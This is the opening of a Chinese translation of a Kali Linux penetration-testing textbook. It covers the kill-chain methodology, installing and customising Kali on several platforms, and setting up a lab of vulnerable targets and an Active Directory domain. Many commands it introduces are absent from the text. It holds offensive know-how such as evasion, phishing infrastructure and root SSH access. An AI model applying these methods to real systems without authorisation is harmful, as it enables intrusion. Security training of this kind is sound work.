网络空间安全技术丛书

Kali Linux高级渗透测试（原书第3版）

Mastering Kali Linux for Advanced Penetration Testing, Third Edition

（印）维杰·库马尔·维卢（Vijay Kumar Velu）　（加）罗伯特·贝格斯（Robert Beggs）　著

祝清意　等译

ISBN：978-7-111-65947-1

本书纸版由机械工业出版社于2020年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）在中华人民共和国境内（不包括中国香港、澳门特别行政区及中国台湾地区）制作与发行。

版权所有，侵权必究

客服热线：+ 86-10-68995265

客服信箱：service@bbbvip.com

官方网址：www.hzmedia.com.cn

新浪微博 @华章数媒

微信公众号 华章电子书（微信号：hzebook）

前言

本书致力于介绍如何使用Kali Linux对网络、系统和应用执行渗透测试。渗透测试可以模拟内部或外部的恶意攻击者对网络或系统进行攻击。不同于漏洞评估，渗透测试包括漏洞利用阶段。因此，它能证实漏洞是存在的，而且如果不采取相应的措施将会有很大风险。

在本书中，“渗透测试人员”“攻击者”和“黑客”互换使用，因为他们使用完全相同的技术及工具评估网络和数据库系统的安全性。他们之间的唯一区别是目标——数据网络的安全或数据的外泄。

简而言之，本书将带你完成渗透测试之旅：使用一些成熟的工具，使用Kali Linux在网络找出防御漏洞，从选择最有效的工具到快速突破网络安全防线，再到最重要的避免检测技术。

本书的读者对象

如果你是一位渗透测试人员、IT专家或者安全顾问，想要利用Kali Linux的一些高级功能最大限度地完成网络测试，那么本书就是为你准备的。预先掌握渗透测试的基础知识将有助于你充分利用本书。

本书的主要内容

第1章概述了贯穿本书的渗透测试方法，确保全书遵循一致且全面的方法。

第2章提供了一个背景，说明如何利用可公开使用的资源收集有关目标的信息，以及用于简化侦察和信息管理的技术。

第3章向读者介绍了可用于获取关于目标信息的隐秘方法，特别是识别可利用的漏洞的信息。

第4章教你掌握扫描网络及其设备的半自动化过程，接收所有侦察和漏洞扫描信息的过程，并评估这些信息，最后创建一个指导渗透测试过程的路线图。

第5章说明了如何才能物理地访问一个系统，或与管理人员进行交互，从而提供最成功的利用途径。

第6章简要介绍了无线技术，重点介绍了绕过安全防范，进而危害网络的常用技术。

第7章简要概述了确保最复杂的交付阶段的安全：暴露在公共网络上的Web应用。

第8章着重介绍了对终端用户系统上的应用程序的攻击，这些终端系统通常得不到与组织的主干网络相同级别的保护。

第9章演示了最常见的安全控制，找出了克服这些控制的系统化过程，并演示了如何使用Kali工具集的工具。

第10章演示了攻击者发现和利用系统漏洞的方法。

第11章重点讨论了直接的后利用活动和横向扩展。横向扩展是指利用被控制系统作为起点，“跳”到网络上的其他系统的过程。

第12章演示了渗透测试人员如何拥有系统的各种操作权限，更重要的是，如何获得一些访问权限，允许测试人员控制网络上的所有系统。

第13章重点讨论了现代攻击者如何使数据转移到攻击者的本地位置，同时隐藏攻击的证据。

第14章主要讲述了现代攻击者如何在嵌入式设备和复制的NFC卡上实施结构化的攻击来达成目的。

学习本书需要准备什么

为了实践本书提供的代码，你需要虚拟化工具，如VMware或者VirtualBox。

你需要下载并配置Kali Linux操作系统及其工具套件。为了确保它是最新版本且包括所有工具，你需要连接到互联网。

很遗憾，本书不会一一介绍Kali Linux系统的所有工具，因为工具实在太多了。本书并非想要你掌握所有的工具和选项，而是提供一种测试的方法，进而随着你的经验和知识的增长，给你机会去学习和整合新工具。

尽管本书的大多数实例专注于Microsoft Windows操作系统，但是这些方法和大多数工具同样适用于其他操作，如Linux和其他版本的Unix。

最后，本书运用Kali完成对目标系统的攻击。为此，你也需要一个目标操作系统。本书的大多数实例使用Microsoft Windows 7和Windows 2008 R2操作系统。

下载示例代码及彩色图像

本书的示例源码及所有截图和样图，可以从http://www.packtpub.com通过个人账号下载，也可以访问华章图书官网http://www.hzbook.com，通过注册并登录个人账号下载。

致谢

我想把这本书献给开源社区以及所有安全爱好者。借此机会，我也要感谢父亲（Velu）、母亲（Gowri）、姐姐（Kalaivani）和兄弟（Manjunath）对我的信任，他们一直鼓励我做自己想做的事情。感谢Packt出版社对本书的支持，还有我的朋友（Hackerz）和我的同事（Brad、Rich和Anuj）的支持。特别感谢我的导师Dani Michaux。

Vijay Kumar Velu

审校者简介

Kunal Sehgal担任金融组织的网络安全员已经超过了15年。他是一个热心的博主，并且经常在亚洲的各种网络相关的论坛上发表演讲。Kunal获得了旁遮普大学（Panjab University）的计算机应用学士学位，以及佐治亚学院（Georgian College）的网络空间安全硕士学位。Kunal还持有多个安全证书，包括注册信息系统审计师（CISA）、信息系统安全认证专家（CISSP）、注册信息安全经理（CISM）、防御型注册Nessus审计师（TCNA）、云安全知识认证（CCSK）、ISO27001首席审核员、威慑安全认证专家（OSCP）以及CompTIA Security+认证。

第1章　基于目标的渗透测试

一切皆始于目标。本章将讨论有着一系列目标的基于目标的渗透测试的重要性；并且描述一些在没有目标的情况下，典型的漏洞扫描、渗透测试和红队训练的失败案例和误解。本章还对安全测试做了一个总结，介绍了如何搭建验证环境，重点讨论了如何定制Kali以支持渗透测试的一些高级内容。阅读完本章，你将学会以下内容：

·安全测试概述。

·漏洞扫描、渗透测试和红队训练的误解。

·Kali的历史和目的。

·更新和组织Kali。

·设置定义的目标。

·构建验证环境。

1.1　安全测试概述

世界各地的每个家庭、每个个体、公共企业或私人企业在网络空间中都存在各种顾虑，例如数据丢失、恶意软件和网络恐怖主义等。这些都围绕一个概念——保护。如果你问100位不同的安全顾问：“什么是安全测试？”，你可能会得到不同的回答。其中最简单的解释为：安全测试是一个过程，用于验证信息资产或系统是否受到保护，以及保护功能是否按照预期效果执行。

1.2　漏洞扫描、渗透测试和红队训练的误解

在本节中，我们将探讨传统/经典漏洞扫描、渗透测试和红队训练的误解和局限性。现在让我们开始简单阐述这三种方法的实际意义，并讨论它们的局限性。

·漏洞扫描（Vulnerability scanning，Vscan）：它是一个识别系统或网络的安全漏洞的过程。关于漏洞扫描的一个误解就是它将让你知道所有已知漏洞，但这是不正确的。漏洞扫描的局限性在于只识别潜在的漏洞，且完全依赖于其利用的扫描工具类型，其中可能包括大量的误报。而对企业主而言，他们并不能借此预计相关的风险，更不能预测攻击者将首先利用哪个漏洞获得访问权限。

·渗透测试（Penetration testing，Pentest）：它是一个安全地利用漏洞而不太影响现有网络或业务的过程。测试人员尝试并模拟漏洞利用后，误报的次数就会减少。渗透测试的不足是只能利用目前已知的公开漏洞，并且大部分都是以项目为重点的测试。在渗透测试中，我们经常听到“耶！得到Root权限”，但我们从来不问“下一步是什么”。原因可能有多种，如项目限制你立即向客户报告高风险问题，或者客户只关心网络的一部分，并希望你测试它。

关于渗透测试的一个误解是它提供了一个网络的完全的攻击者视图，并且一旦你进行了渗透测试就安全了。然而事实并非如此，例如攻击者发现了安全应用中业务流程中的漏洞。

·红队训练（Red Team Exercise，RTE）：它是一个评价组织有效防御网络威胁并且通过各种方法提高其安全性的过程。在红队训练期间，我们注意到了实现项目目标的多种方式，例如针对项目目标活动进行完整覆盖，包括网络钓鱼、无线、丢弃盒（USB、CD以及SSD）和物理渗透测试等。使用红队训练的不足是它们具有时间限制、预定义的方案，以及假设而非真实的环境。通常，为了每一项技战术都按照程序执行，红队训练运行在完全监控的模式下，但当真实的攻击者想完成一个目标的时候，情况就不一样了。

通常，三种不同的测试方法都指向术语：黑客入侵或破解。我们将入侵网络，并暴露网络的弱点，但是，客户或企业主是否知晓这些网络被侵入或破解？我们如何衡量入侵或破解？有什么标准？我们何时才能知道入侵或破解完成。所有这些问题都指向一件事——什么是主要目标？

1.3　基于目标的渗透测试

渗透测试和红队训练的主要目标是确定真实风险，评估组织的每项资产、业务、品牌形象等的风险等级。这不是评估它们有多少风险，而是评估它们暴露多少风险。如果发现的威胁并不构成风险，则无须进行证明。例如，对宣传册网站进行跨站脚本（Cross-Site Scripting，XSS）攻击可能不会对业务产生重大影响。然而，客户端可能会接受使用Web应用程序防火墙（Web Application Firewall，WAF）防止XSS攻击。

而基于目标的渗透测试是实时的，依赖于机构面临的特定问题，例如这样一个目标：我们最担心在线的门户网站和欺诈交易。所以，当前的目标就是通过钓鱼攻击入侵门户网站或管理员，或者通过系统漏洞占据审批链。每个小目标都伴随着自有的技战术和流程去支持渗透测试活动的主要目标。在本书中，我们将利用Kali Linux去探索各种不同的渗透测试方法。

1.4　测试方法

渗透测试方法很少考虑为什么要进行渗透测试，或哪些数据是需要保护的业务关键数据。缺少这至关重要的第一步，渗透测试就无法抓住重点。

很多渗透测试人员不愿遵循现成的渗透测试方法，他们担心模型会阻碍他们进行网络渗透的创造力。渗透测试不能反映恶意攻击者的实际活动。通常，客户希望看到你能否在一个特定的系统中获得管理上的访问权（你可以获得这些系统的Root权限吗？）。然而，攻击者可能会重点关注以一种不需要Root权限或引起拒绝服务的方式复制关键数据。

为了解决渗透测试方法中固有的局限性，必须将所有测试方法集成到一个框架中，从攻击者的角度审视网络，即杀链（kill chain）。

2009年，Lockheed Martin CERT的Mike Cloppert首先引入了上述理论，现在称为攻击者杀链（attacker kill chain）。杀链包含攻击者攻击网络时所采取的步骤。杀链不总是以一个线性流呈现，因为一些步骤可能会并行出现。多发攻击可以瞬时对同一个目标进行多种攻击，并且在同一时间攻击步骤可能发生重叠。

在本书中，我们已经修改了Cloppert的杀链，使之能更准确地反映攻击者如何在测试网络、应用和数据服务时应用这些步骤。

图1-1显示了攻击者的一个典型杀链。

图1-1　典型的杀链

攻击者的一个典型杀链可以描述如下。

·探索或侦察阶段。有一句格言：“侦察永远不浪费时间”。大多数军事组织承认，在进攻敌人之前，最好尽可能地去了解敌人的一切信息。同样，攻击者在攻击之前也会对目标展开广泛的侦察。事实上，据估计，针对渗透测试或攻击，至少有70%的“工作量”是进行侦察！一般来说，可采用两种类型的侦察：

　　被动侦察。这种方式并不直接与目标以敌对方式进行交互。例如，攻击者将会审查公共的可用网站，评估在线媒体（尤其是社交媒体网站），并试图确定目标的攻击表面。一项具体的任务是生成一份过去和现在的雇员姓名的列表。这些姓名将成为尝试暴力攻击或密码猜测的基础。同样它们也将用于社会工程学的攻击中。这种类型的侦察很难从普通用户的行为中区分出来。

　　主动侦察。这种方式可以被目标检测到，但是很难从常规的背景中区分出大多数在线组织的表现。主动侦察期间的活动包括物理访问目标前端、端口扫描和远程漏洞扫描。

·交付阶段。交付是用于完成攻击中的任务的武器的选择和开发。精确的武器选择取决于攻击者的意图以及交付路线（例如，借助网络、无线，或通过基于Web的服务）。交付阶段的影响将在本书后半部分（第5～14章）介绍。

·利用或攻击阶段。一个特定的漏洞被成功利用的同时，攻击者实现他们的目标。攻击可能在一个特定的情景下发生（例如，通过缓冲区溢出利用一个已知操作系统的安全隐患），或者可能在多个情景下发生（例如，一个攻击者物理访问公司处所，偷取电话簿，用公司员工的名字创建门户登录暴力破解列表。此外，向所有员工发送电子邮件以引诱他们单击一个嵌入的链接，下载制作的PDF文件，这些文件会危及员工的计算机安全）。当恶意攻击者针对特定的企业时，多情景攻击是常态。

·完成阶段——对目标的行动。这通常被称为“渗漏阶段”（exfiltration phase），但这是错误的，因为通常理解对目标的行动的攻击，仅仅以窃取敏感信息作为唯一目的（如登录信息、个人信息和财务信息）。通常情况下，攻击者有不同的攻击目标。例如，一家公司可能希望在它竞争对手的网站上发起拒绝服务攻击，从而驱使用户访问自己的网站。因此，这一阶段必须专注于攻击者的可能的许多行动。最常见的利用活动是攻击者试图将他们的访问权限提升到最高级（纵向提权），并且破解尽可能多的账号（横向提权）。

·完成阶段——持久性。如果攻击一个网络或系统是有价值的，那么这个价值很可能在持续攻击下增长。这就需要攻击者持续与被攻破的系统保持通信。从防护者的角度来看，这是攻击杀链中最容易检测到的一部分。

当攻击者试图攻击网络或特定的数据系统时，攻击杀链是攻击者行为的一种元模型。作为一种元模型，它可以吸收任何私人的或商业的渗透测试方法。但是，不同于这些方法，它能使攻击者在一个战略高度上关注如何接近网络。这种专注于攻击者的活动将引导本书的布局和内容。

1.5　Kali Linux简介：特征

Kali Linux（Kali）继承于BackTrack渗透测试平台，通常认为BackTrack是测试安全数据和语音网络的实际上的标准工具包。它是由Mati Aharoni和Devon Kearns联合开发的攻击性安全防护工具。

截至2018年12月，Kali于2018年共发布了4个主要版本。Kali2018.1版（Kernel4.14.13，Gnome3.26.2）发布于2018年2月6日。Kali2018.2版（Kernel4.15）发布于2018年4月30日，用以对抗x64和x86芯片上的Spectre和Meltdown漏洞。Kali2018.3发布于2018年黑客夏令营后的8月21日，该版本的Kernel版本号是4.17.0。最终版Kali2018.4发布于2018年10月29日，包括许多更新的包，以及一个实验版的64位Raspberry Pi3镜像。

最新版的Kali包括以下特征：

·包含500多个渗透测试、数据取证和防御工具。大多数工具都被淘汰了，并被类似的工具代替。它们由多个硬件和内核补丁提供广泛的无线支持，以允许某些无线攻击所需的包注入。

·支持多种桌面环境，例如KDE、GNOME3、Xfce、MATE、e17、lxde以及i3wm。

·默认情况下，Kali的Debian兼容工具每天至少与Debian资源库同步4次，以保证实时更新包及应用安全补丁。

·拥有安全的开发环境和GPG签名的包和资源库。

·支持ISO自定义，即允许用户利用部分工具建立他们自己的Kali定制版本，使其更加精简。引导程序功能还执行企业级网络的安装，可以使用先前的种子文件进行自动化安装。

·由于基于ARM的系统变得越来越流行，成本越来越低，所以支持ARMEL和ARMHF的Kali可安装在各种设备上，例如rk3306mk/ss808、Raspberry Pi、ODROID U2/X2、Samsung Chromebook、EfikaMX、Beaglebone Black、CuBox和Galaxy Note10.1。

·Kali依然是一个免费的开源项目。最重要的是，它受到了活跃的在线社区的支持。

Kali在红队策略中的角色

尽管渗透测试者可以选择任何操作系统来执行他们想要的活动，但是使用Kali Linux可以节省大量的时间，并且不需要去搜索其他操作系统通常不可用的包。Kali在红队策略中一些未被注意到的优势包括：

·单一攻击源可以攻击各种平台。

·快速添加资源，安装包及各种支持库（特别是那些Windows不可用的库）。

·使用alien甚至可安装RPM包。

Kali Linux的目标是保障安全，通过整合所有工具为渗透测试人员提供一个统一的平台。

1.6　安装和更新Kali Linux

在本书的第2版中，我们主要介绍了如何利用Docker在VMware、VirtualBox和Amazon AWS上安装Kali Linux。本节将介绍如何在上述平台和Raspberry Pi3上安装Kali。

1.6.1　在便携式设备中安装Kali Linux

将Kali Linux安装到便携式设备中相当简单。在某些情况下，客户不允许在安全设施内部使用外部笔记本电脑。在这种情况下，通常客户端向漏洞测试者提供测试计算机以进行扫描。在漏洞测试和红队训练时，在一个便携式设备上运行Kali Linux有如下好处：

·在USB或移动设备中时，Kali就在你的口袋中。

·在不对主机操作系统进行任何更改的情况下，Kali可以直接运行。

·你可以自定义Kali Linux的构建，甚至可以将其固化存储。

从Windows PC将USB转换为便携式Kali有一个简单的过程，包含三个步骤：

1.从http://docs.kali.org/introduction/download-official-kali-linux-images下载官方的Kali Linux镜像。

2.从https://sourceforge.net/projects/win32diskimager/下载Win32Disk Imager。

3.以管理员身份打开Win32Disk Imager。将USB驱动器插入PC的可用USB端口，如图1-2所示。选择正确的驱动器名称，然后单击Write。

图1-2　Win32Disk Imager启动界面

一旦完成，退出Win32Disk Imager，并安全移出USB。现在，Kali Linux已经在便携式设备上安装好了，并可以插入任何笔记本电脑来直接启动。还可以使用Win32Disk Imager来生成散列值。如果你的主机操作系统是Linux，则可以通过两个标准命令来实现：

该命令将显示驱动器上安装的所有磁盘。

这就是显示结果。dd命令行执行转换和复制，if指输入文件，of指输出文件，bs指块大小。

1.6.2　在Raspberry Pi 3中安装Kali

树莓派（Raspberry Pi）本质上是具有计算机全部最小功能的单板设备。这些设备对红队训练和渗透测试活动都非常有用。该操作系统的base镜像可以通过SD卡加载，就像普通计算机或笔记本的磁盘驱动一样。

具体步骤和上节类似，在便携式设备中安装Kali Linux，同样适用于连接到Raspberry Pi系统的高速SD卡。如果没有问题，系统就安装成功了。如果安装成功，Kali Linux在Raspberry Pi中的启动画面如图1-3所示。这里，我们使用Raspberry Pi 3做示范，并通过VNC viewer访问Pi操作系统。

图1-3　Kali Linux在Raspberry Pi中的启动画面

1.6.3　在虚拟机中安装Kali

在本节中，我们将快速了解如何将Kali安装到VMware Workstation Player和Oracle VirtualBox中。

VMware Workstation Player

VMware Workstation Player以前称为VMware Player，可免费使用。在主机操作系统中，VMware虚拟机作为桌面应用程序存在，允许商用。该应用程序可以从如下网址下载：https://my.vmware.com/en/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/12_0。

这里我们将使用VMware Workstation Player 12.5.9版本。一旦下载好安装器，直接根据主机操作系统安装VMware Player。如果安装完成，你将看到如图1-4所示的画面。

图1-4　VMware Workstation Player安装成功画面

下一步将Kali Linux安装到VMware，点击Create a New Virtual Machine（创建新的虚拟机）并选择Installer disc image file（ISO）（安装磁盘镜像文件）。浏览ISO文件，然后单击Next。现在你可以输入你选择的名称（例如HackBox），并选择要存储VMware镜像的自定义位置。单击Next，然后设定磁盘容量。建议运行Kali的最小磁盘容量为10 GB。然后单击Next直到完成。

另一种方法是直接下载VMware镜像，然后打开.vmx文件选择I copied it。然后在VMware中启动安全加载的Kali Linux。

你也可以选择在主机系统中安装Kali Linux或者把它作为活动镜像运行。一旦所有安装步骤完成，如图1-5所示，Kali Linux就在VMware中准备好了。

VirtualBox

与VMware Workstation Player类似，VirtualBox是一个完全开源的虚拟机管理程序，也是可以从主机操作系统运行任何虚拟机的免费桌面应用程序。该应用程序可以从https://www.virtualbox.org/wiki/Downloads下载。

我们将在VirtualBox上安装Kali。与VMware类似，我们将执行下载的可执行文件，直到Oracle VirtualBox成功安装，如图1-6所示。

图1-5　VMware中的Kali Linux

图1-6　VirtualBox安装包启动界面

安装时，建议将内存大小至少设置为1 GB或2 GB，这样你创建10 GB的虚拟磁盘就不会有任何性能问题。安装完成后，你就可以在VirtualBox中加载Kali Linux，如图1-7所示。

图1-7　VirtualBox中的Kali Linux

1.6.4　在Docker中安装Kali

Docker是一个开源项目，旨在即时自动部署软件容器和应用程序。Docker还在Linux上提供了操作系统级的虚拟化附加抽象和自动化层。

Docker适用于Windows、Mac、Linux、AWS（Amazon Web Services）和Azure。对于Windows，Docker可从https://download.docker.com/下载。

Docker安装完成后，运行Kali Linux十分简单，只需运行docker pull kalilinux/kali-linux-docker和docker run-t-i kalilinux/kali-linux-docker/bin/bash命令就可以了。

如图1-8所示，我们可以从Docker直接运行Kali Linux。此外，需要注意Docker在后台利用了VirtualBox环境。所以，从技术上讲，它是通过Docker容器运行在VirtualBox的虚拟机。

图1-8　使用命令安装Kali Linux

一旦Docker下载完成，你就可以通过命令docker run-t-i kalilinux/kali-linux-docker/bin/bash运行Docker镜像，如图1-9所示。

图1-9　运行bash

确保VT-X在BIOS系统中启用，并且Hyper-V在Windows中启用。注意启用Hyper-V将使VirtualBox无法工作，如图1-10所示。

图1-10　启用Hyper-V界面

1.6.5　在AWS云中安装Kali

亚马逊网络服务（Amazon Web Service，AWS）将Kali Linux作为亚马逊机器接口（Amazon Machine Interface，AMI）和软件即服务（Software as a Service，SaaS）的一部分。渗透测试者和黑客可以利用AWS构建渗透测试或更有效的钓鱼攻击。本节，我们将一步步介绍如何在AWS中安装Kali Linux。

首先，你需要一个有效的AWS账户。你可以通过访问https://console.aws.amazon.com/console/home进行注册。

当登录AWS账户时，我们将可以看到所有的AWS服务，搜索Kali Linux，如图1-11所示。

图1-11　Kali Linux在AWS服务中

开源社区让在Amazon marketplace中直接启动预配置的Kali Linux2018.1变得非常简单。以下URL将使我们能够在几分钟内直接启动Kali Linux：https://aws.amazon.com/marketplace/pp/B01M26MMTT。按照说明，你可以通过选择Continue to Subscribe直接启动一个实例。然后你会看到图1-12所示画面，按照图1-12进行选择。最后点击Launch按钮。

图1-12　Kali Linux启动选项

在AWS中启动Kali Linux 2018.3之前，建议你创建一对新密钥，如图1-13所示。

图1-13　创建一对新密钥

通常，要使用AWS虚拟机，你必须创建自己的密钥对以确保环境安全。然后你可以通过在命令窗口中输入以下命令登录。为了利用私钥登录而无须密码，亚马逊强制文件权限必须通过隧道访问。我们可以通过以下命令连接到Kali Linux实例：

图1-14显示了在AWS中成功使用Kali。

图1-14　在AWS中的Kali

必须满足所有条款和条件才能利用AWS进行渗透测试。在发起云主机的任何攻击之前，必须遵守法律条款和条件。

1.7　组织Kali Linux

安装只是搭建的第一步，组织Kali Linux非常重要。在本节中，我们将通过不同的定制方式来组织HackBox。

1.7.1　配置和自定义Kali Linux

Kali是一个用来完成渗透测试的框架。然而，测试者不应该被默认安装的测试工具或者是Kali桌面的感觉所束缚。通过自定义Kali，测试者可以提高收集到的客户数据的安全性，使渗透测试更简单。

Kali的常见自定义包括：

·重置超级用户密码

·添加普通用户

·配置网络服务和安全通信

·调整网络代理设置

·访问安全外壳协议

·加速Kali运行

·与MS Windows共享文件夹

·创建加密文件夹

1.7.2　重置超级用户密码

使用以下命令修改用户密码：

然后会提示你输入一个新的密码，如图1-15所示。

图1-15　重置密码

1.7.3　添加普通用户

为了执行其功能，Kali提供的许多应用都必须用超级用户的权限（Root-level privilege）运行。超级用户权限有一定的风险，例如，输错一个命令或者使用了一个错误的命令，都会导致应用终止，甚至损害被测试的系统。在一些例子中，使用普通用户级权限来测试更可取。事实上，一些应用促进了低权限账户的使用。

为了创建一个普通用户，你可以简单地在终端上使用adduser命令，接着会出现指令，如图1-16所示。

图1-16　创建普通用户

1.7.4　配置网络服务和安全通信

首先应该确保我们能够访问网络，并且该网络能通过有线或无线网络连接进行更新和通信。

你可能需要通过动态主机配置协议（Dynamic Host Configuration Protocol,DHCP）获取一个IP地址，可以用以下命令修改网络配置并添加以太网适配器：

一旦网络配置文件更新，你就可以通过ifup脚本自动获取IP地址，如图1-17所示。

对于静态IP地址，你可以通过以下命令修改上述网络配置文件，从而为Kali Linux分配一个静态的IP地址：

图1-17　获取IP地址

默认情况下，Kali不会启用DHCP服务。这样做会在全网广播新的IP地址，从而可能让管理员意识到测试者的存在。对于某些测试情况，这也不是什么问题，并且在系统启动时就加载这些服务可能更有利。这可以通过输入以下命令实现：

Kali安装的网络服务都可以根据需要启用或停止，包括DHCP、HTTP、SSH、TFTP和VNC服务器。这些服务通常通过命令行唤醒，但部分服务也可以通过Kali的菜单访问。

1.7.5　调整网络代理设置

用户要使用认证的或非认证的代理连接必须修改bash.bashrc和apt.conf文件。两个文件都位于/etc/目录下。

如图1-18所示，编辑bash.bashrc文件，利用文本编辑器在bash.bashrc的最后添加如下命令：

图1-18　编辑bash.bashrc文件

分别用代理服务器IP地址和端口号代替proxyIP和port，并且用认证用户名和密码代替user和password。如果不需要认证，只需输入@符号后面的部分。最后，保存并关闭文件。

1.7.6　访问安全外壳协议

在测试期间，为了避免目标网络的检测，Kali不会启用任何外部侦听网络服务。某些服务，如安全外壳协议（Secure Shell，SSH）已经安装。但是这些协议在使用前必须先启用。

Kali预先配置了默认的SSH密钥。在启用SSH服务前，最好弃用默认的密钥，并产生一个唯一密钥集。

通过以下命令，可以将默认的SSH密钥移动到备份文件，然后生成新的密钥集：

如图1-19所示，你可以通过命令service ssh status来查看SSH服务是否正在运行。

图1-19　启用SSH服务

注意，启用SSH的默认配置就无法使用超级用户登录。如果需要使用超级用户访问，你就必须编辑/etc/ssh/sshd_config文件，并将PermitRootLogin设置为yes，保存然后退出。最后，你就可以通过这个网络上的任何系统访问SSH服务并使用Kali Linux。例如，我们可以使用PuTTY（一个基于Windows环境的免费的可移植的SSH客户端）。如图1-20所示，你可以从其他机器访问Kali Linux，接受SSH证书，输入你的凭证。

图1-20　通过网络访问Kali Linux

1.7.7　加速Kali运行

以下几种工具可用来优化和加速Kali运行：

·在使用虚拟机时，安装VM软件驱动包Guest Additions(VirtualBox)或VMware Tools(VMware)。

在安装前必须确保运行了apt-get update命令。

·在创建虚拟机时，选择一个固定大小的磁盘，而非动态分配的磁盘。固定大小的磁盘可以更快地添加文件，并且碎片更少。

·默认情况下，Kali不会显示所有出现在启动菜单中的应用。每个在启动阶段安装的应用都拉低了系统数据，并且可能会影响内存使用和系统性能。安装启动管理器（Boot Up Manager，BUM）来禁止启动时非必要的服务和应用（apt-get install bum），如图1-21所示。

图1-21　BUM启用时的屏幕截图

1.7.8　与主机操作系统共享文件夹

Kali工具箱能灵活地与驻留在不同操作系统中的应用共享成果，特别是Microsoft Windows。最有效率的共享数据方式是创建一个主机操作系统和Kali Linux VM用户能访问的文件夹。

当将主机或VM中的数据放置在共享文件夹中时，所有能访问共享文件夹的系统都将能立刻访问数据。

创建一个共享文件夹的步骤如下：

1.在主机操作系统上创建一个文件夹。在这个例子中，我们将其命名为kali_Share。

2.右键单击文件夹，选择Sharing选项表。从这个目录中，选择Share。

3.确保文件与Everyone共享，Permission Level设置为Read/Write。

4.如果你没有这样操作，那么在Kali Linux上安装适当的工具。例如，在使用VMware时，安装VMware工具。

5.安装完成之后，在VMware菜单里选择Manage并点击Virtual Machine Setting。找到Shared Folders菜单，并选择Always Enabled选项。创建一个主机操作系统中已存在的共享文件夹的路径，如图1-22所示。

图1-22　虚拟机设置的屏幕截图

6.使用Oracle VirtualBox时，选择VM进入Settings然后选择Shared Folders，如图1-23所示。

图1-23　选择“Shared Folders”选项

旧版本的VMware player使用了不同的菜单。

7.在VirtualBox的Kali Linux桌面运行mount-shared-folders.sh文件。如图1-24所示，共享的文件夹可以在mnt中看到。

图1-24　mnt中的共享文件夹

8.放在该文件夹下的所有文件均可以通过主机操作系统的相同文件名访问，反之亦然。

共享文件中将包含渗透测试中的敏感数据，所以需要通过加密来保护用户网络，在数据丢失时，减轻测试人员的责任。

1.7.9　使用Bash脚本来定制Kali

通常，为了维护系统和软件开发，在Linux中的命令行界面开发了多个shell，即sh、bash、csh、tcsh和ksh。

根据渗透测试的目标，我们可以利用以下bash脚本定制Kali Linux：

https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Third-Edition/blob/master/Chapter%2001/lscript-master.zip。

1.8　构建验证环境

作为渗透测试人员，我们建议你搭建自己的验证环境来测试任意类型的漏洞，并且在现场环境中模拟相同的实践之前，要有正确的概念证明。

1.8.1　安装预定目标

为了实践利用的艺术，通常我们建议你利用已知的软件漏洞。本节我们将安装Windows平台Metasploitable3，它是一个基于PHP框架的Web应用。

Metasploitable3

Metasploitable3无疑是一个易受攻击的虚拟机，其用于利用Metasploit对多个漏洞进行测试。它具有BSD风格的许可证。可以构建两个虚拟机用于练习，虚拟机下载地址为：https://github.com/rapid7/metasploitable3。你可以下载ZIP文件并将其解压到你最喜欢的Windows位置（通常，我们将其解压到D:\HackTools\文件夹中），或者你还可以使用bash命令行远程克隆代码。然后，安装所有相关的支持软件，如Packer(https://www.packer.io/downloads.html)、Vagrant（https://www.vagrantup.com/downloads.html）、VirtualBox和Vagrant reload插件。以下命令可用于安装所有相关的易受攻击的服务和软件。

·在Windows 10操作系统上，你可以运行以下命令：

·在Linux和macOS操作系统上，你可以运行以下命令：

VirtualBox文件下载完成后，你还必须在PowerShell中运行vagrant up win2k8和vagrant up ub1404命令。如图1-25所示，这就在VirtualBox中创建了一个新的虚拟机。

图1-25　Metasploitable3虚拟机

Mutillidae

Mutillidae是一个开源的不安全Web应用程序，专为渗透测试人员而设计，以实践所有特定于Web应用程序的漏洞利用测试。XAMMP是由Apache Friends开发的另一个免费开源的跨平台的Web服务器解决方案堆栈包。XAMPP可以从https://www.apachefriends.org/download.html下载。

现在将Mutillidae安装到我们新安装的Microsoft Windows 2008 R2服务器上以进行托管。

1.一旦XAMMP下载完成，我们就按照向导安装可执行文件。安装完成后，启动XAMPP，你应该可以看到如图1-26所示的安装界面。我们使用的版本是XAMPP5.6.36/PHP5.6.36.

2.Mutillidae可以从https://sourceforge.net/projects/mutillidae/files/latest/download下载。

3.解压安装包并复制文件夹到C:\yourxampplocation\htdocs\<mutillidae>。

图1-26　XAMMP安装界面

4.你必须确保XAMPP正在运行Apache和MySQL/MariaDB，最后访问mutillidae文件夹的.htacess文件，并确保127.0.0.1在允许的IP范围内。如图1-27所示，我们可以通过http://localhost/mutillidae/访问安装好的Web应用。

图1-27　mutillidae网页界面

万一出现数据库离线或其他类似的错误信息，你可能需要重新启动Mutillidae或重新安装数据库。

1.8.2　创建活动目录及域控制器

在本书的第2版中，我们学习了如何在Windows 2008 R2中创建活动目录。本节将在Windows 2008 R2安装活动目录。当你从Microsoft下载好ISO文件，并且在VMware workstation player或者VirtualBox中安装好虚拟机后，你还必须完成以下步骤：

1.从任务栏打开服务器管理器。

2.在服务器管理器中，点击Add roles and features（添加角色和特征）。

3.从Installation Type（安装类型）界面选择Role-based（基于角色）或Features-based（基于特征）的安装，然后点击Next。

4.默认情况下，会选择相同的服务器。

5.在Server Roles（服务器角色）界面，勾选Active Directory Domain Services（活动目录域服务）旁边的选框。附加的角色、服务或特征都需要安装域名服务器，可以单击Add Features（添加特征）。

6.安装AD DS时，可以根据需要勾选任何可选的特征，点击Next，进入系统兼容检测，然后选择Create a new domain in a new format（创建一个新的域）并点击Next。

7.输入完全限定域名（Fully Qualified Domain Name，FQDN）。在示例中，我们会创建一个新的FQDN：mastering.kali.thirdedition，这会让我们选择Forest functional level。我们可以选择Windows 2008 R2然后点击Next安装域名系统（Domain Name System，DNS）。在安装过程中，建议为本机设置一个静态IP地址，从而使域控制器的特征可以启用。在本例中，我们将服务器的静态IP地址设为192.168.x.x。最后，你还需要设置目录服务恢复模式（Directory Services Restore Mode,DSRM）管理员密码，然后你会看到所有配置信息。

8.在Confirm installation（确认安装）界面检查安装信息，然后单击Install（安装）。

9.安装完成后，你将看到如图1-28所示的画面。

图1-28　完成Active Directory Domain Services安装向导

添加用户到活动目录

为了在后续章节演示提权，我们将创建一个具有域用户权限的普通用户和一个具有所有权限的域管理员用户。

在域控制器运行如下命令可以创建一个域普通用户：

以下命令将创建一个域管理员用户，并将其加入domain admins组中：

为了验证用户是否创建成功，你可以在域控制的命令行运行net user命令，域用户如图1-29所示。

